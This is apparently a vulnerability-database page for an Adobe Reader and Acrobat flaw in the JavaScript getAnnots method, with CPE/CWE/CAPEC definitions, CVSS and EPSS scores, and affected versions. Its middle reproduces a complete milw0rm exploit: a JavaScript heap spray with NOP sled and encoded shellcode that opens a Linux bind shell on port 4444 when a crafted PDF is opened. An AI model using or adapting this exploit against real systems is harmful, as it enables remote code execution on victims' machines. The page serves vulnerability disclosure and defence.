CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The getAnnots Doc method in the JavaScript API in Adobe Reader and Acrobat 9.1, 8.1.4, 7.1.1, and earlier allows remote attackers to cause a denial of service (memory corruption) or execute arbitrary code via a PDF file that contains an annotation, and has an OpenAction entry with JavaScript code that calls this method with crafted integer arguments.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
68.27%
–
–
2022-07-17
–
–
34.27%
–
–
2022-07-24
–
–
68.27%
–
–
2023-03-12
–
–
–
95.72%
–
2023-06-18
–
–
–
95.75%
–
2023-09-17
–
–
–
95.88%
–
2023-12-10
–
–
–
96.04%
–
2024-06-02
–
–
–
96.16%
–
2024-12-22
–
–
–
91.63%
–
2025-01-19
–
–
–
91.63%
–
2025-03-18
–
–
–
–
66.96%
2025-03-18
–
–
–
–
66.96,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
//- attach the following script to the OpenAction of the pdf.
//##############
var memory;
function New_Script()
{
//if(adobe9)//adobe reader 8 works also with app.setTimeOut?
var startwith = app.alert('Hi');//required for adobe9
var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one ;)
var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
while(nop.length <= 0x100000/2) nop+=nop;
nop=nop.substring(0,0x100000/2 - shellcode.length);
memory=new Array();
for(i=0;i<0x6ff;i++) //we should at least overwrite 0x90909090
{memory[i]=nop + shellcode;}
//start exploit now
start();
function start()
{
this.getAnnots(-134217728,-134217728,-134217728,-134217728);
}
}
//############################
# milw0rm.com [2009-04-29]
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Adobe>>Acrobat >> Version From (including) 7.0 To (including) 7.1.1